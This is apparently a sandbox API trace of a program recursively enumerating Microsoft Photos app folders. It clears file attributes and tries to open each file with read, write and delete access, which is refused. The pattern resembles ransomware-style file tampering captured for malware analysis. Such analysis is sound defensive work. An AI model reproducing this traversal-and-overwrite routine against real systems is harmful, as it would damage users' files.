	[0091.074] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.074] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-high_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.074] GetLastError () returned 0x5
	[0091.074] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-high_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.074] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44fc0) returned 1
	[0091.074] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5a04b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f5a04b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f5a04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x159, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInCinemagraph.contrast-white_scale-125.png", cAlternateFileName="")) returned 1
	[0091.074] wcscmp (_String1="IconOpenInCinemagraph.contrast-white_scale-125.png", _String2=".") returned 1
	[0091.074] wcscmp (_String1="IconOpenInCinemagraph.contrast-white_scale-125.png", _String2="..") returned 1
	[0091.074] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x16e) returned 0x2e44fc0
	[0091.074] wcscpy (in: _Dest=0x2e44fc0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.074] wcscat (in: _Dest=0x2e44fc0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.074] wcscat (in: _Dest=0x2e44fc0, _Source="IconOpenInCinemagraph.contrast-white_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-125.png"
	[0091.074] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-white_scale-125.png")) returned 0x20
	[0091.077] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.077] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.contrast-white_scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.077] GetLastError () returned 0x5
	[0091.077] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.contrast-white_scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.077] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44fc0) returned 1
	[0091.077] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5a04b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f5a04b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f5a04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInCinemagraph.scale-125.png", cAlternateFileName="")) returned 1
	[0091.077] wcscmp (_String1="IconOpenInCinemagraph.scale-125.png", _String2=".") returned 1
	[0091.077] wcscmp (_String1="IconOpenInCinemagraph.scale-125.png", _String2="..") returned 1
	[0091.077] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x150) returned 0x48bbcb0
	[0091.077] wcscpy (in: _Dest=0x48bbcb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.077] wcscat (in: _Dest=0x48bbcb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.077] wcscat (in: _Dest=0x48bbcb0, _Source="IconOpenInCinemagraph.scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-125.png"
	[0091.077] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.scale-125.png")) returned 0x20
	[0091.078] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.078] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopenincinemagraph.scale-125.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.078] GetLastError () returned 0x5
	[0091.078] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInCinemagraph.scale-125.png", dwFileAttributes=0x20) returned 0
	[0091.078] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bbcb0) returned 1
	[0091.078] FindNextFileW (in: hFindFile=0x477b0a8, lpFindFileData=0x502cbb0 | out: lpFindFileData=0x502cbb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f5a04b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x86f5a04b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x86f5a04b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x13f, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconOpenInRefocus.contrast-high_scale-125.png", cAlternateFileName="")) returned 1
	[0091.078] wcscmp (_String1="IconOpenInRefocus.contrast-high_scale-125.png", _String2=".") returned 1
	[0091.078] wcscmp (_String1="IconOpenInRefocus.contrast-high_scale-125.png", _String2="..") returned 1
	[0091.078] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x164) returned 0x2e02220
	[0091.078] wcscpy (in: _Dest=0x2e02220, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets"
	[0091.078] wcscat (in: _Dest=0x2e02220, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\"
	[0091.079] wcscat (in: _Dest=0x2e02220, _Source="IconOpenInRefocus.contrast-high_scale-125.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-125.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-125.png"
	[0091.079] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\Lumia.ViewerPlugin\\Assets\\IconOpenInRefocus.contrast-high_scale-125.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_neutral_split.scale-125_8wekyb3d8bbwe\\lumia.viewerplugin\\assets\\iconopeninrefocus.contrast-high_scale-125.png")) 

Thread:
	id = 863
	os_tid = 0xd4c

	[0082.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8c20
	[0082.072] wcscpy (in: _Dest=0x47c8c20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0082.072] wcscat (in: _Dest=0x47c8c20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0082.072] wcscat (in: _Dest=0x47c8c20, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\*"
	[0082.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470fe58
	[0082.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845121d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a73d0
	[0082.072] wcscmp (_String1=".", _String2=".") returned 0
	[0082.072] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845121d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xe8ca3fa7, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xe8ca3fa7, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.072] wcscmp (_String1="..", _String2=".") returned 1
	[0082.072] wcscmp (_String1="..", _String2="..") returned 0
	[0082.072] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845848da, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x846696fa, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x271800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCore.Windows.dll", cAlternateFileName="")) returned 1
	[0082.072] wcscmp (_String1="AppCore.Windows.dll", _String2=".") returned 1
	[0082.072] wcscmp (_String1="AppCore.Windows.dll", _String2="..") returned 1
	[0082.072] FindNextFileW (in: hFindFile=0x46a73d0, lpFindFileData=0x470fe58 | out: lpFindFileData=0x470fe58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113db64, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCS", cAlternateFileName="")) returned 1
	[0082.072] wcscmp (_String1="AppCS", _String2=".") returned 1
	[0082.072] wcscmp (_String1="AppCS", _String2="..") returned 1
	[0082.072] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x47cb1c0
	[0082.072] wcscpy (in: _Dest=0x47cb1c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe"
	[0082.072] wcscat (in: _Dest=0x47cb1c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\"
	[0082.072] wcscat (in: _Dest=0x47cb1c0, _Source="AppCS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS"
	[0090.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925838
	[0090.969] wcscpy (in: _Dest=0x4925838, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS"
	[0090.969] wcscat (in: _Dest=0x4925838, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\"
	[0090.969] wcscat (in: _Dest=0x4925838, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\*"
	[0090.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502b608
	[0090.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\*", lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113db64, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b368
	[0090.970] wcscmp (_String1=".", _String2=".") returned 0
	[0090.970] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113db64, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.970] wcscmp (_String1="..", _String2=".") returned 1
	[0090.970] wcscmp (_String1="..", _String2="..") returned 0
	[0090.970] FindNextFileW (in: hFindFile=0x477b368, lpFindFileData=0x502b608 | out: lpFindFileData=0x502b608*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113ea79, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.970] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.970] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718b70
	[0090.970] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS"
	[0090.970] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\"
	[0090.970] wcscat (in: _Dest=0x4718b70, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets"
	[0090.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12ab8
	[0090.970] wcscpy (in: _Dest=0x2e12ab8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets"
	[0090.970] wcscat (in: _Dest=0x2e12ab8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\"
	[0090.970] wcscat (in: _Dest=0x2e12ab8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\*"
	[0090.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0090.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113ea79, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2a8
	[0090.971] wcscmp (_String1=".", _String2=".") returned 0
	[0090.971] FindNextFileW (in: hFindFile=0x477b2a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb113ea79, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x846696fa, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.971] wcscmp (_String1="..", _String2=".") returned 1
	[0090.971] wcscmp (_String1="..", _String2="..") returned 0
	[0090.971] FindNextFileW (in: hFindFile=0x477b2a8, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x846696fa, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x8468f958, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x8468f958, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5778, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhtoMDL2.1.61.ttf", cAlternateFileName="")) returned 1
	[0090.971] wcscmp (_String1="PhtoMDL2.1.61.ttf", _String2=".") returned 1
	[0090.971] wcscmp (_String1="PhtoMDL2.1.61.ttf", _String2="..") returned 1
	[0090.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b550
	[0090.971] wcscpy (in: _Dest=0x491b550, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets"
	[0090.971] wcscat (in: _Dest=0x491b550, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\"
	[0090.971] wcscat (in: _Dest=0x491b550, _Source="PhtoMDL2.1.61.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\PhtoMDL2.1.61.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\PhtoMDL2.1.61.ttf"
	[0090.971] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Windows.Photos_16.511.8780.0_x64__8wekyb3d8bbwe\\AppCS\\Assets\\PhtoMDL2.1.61.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.windows.photos_16.511.8780.0_x64__8wekyb3d8bbwe\\appcs\\assets\\phtomdl2.1.61.ttf")) returned 0x20
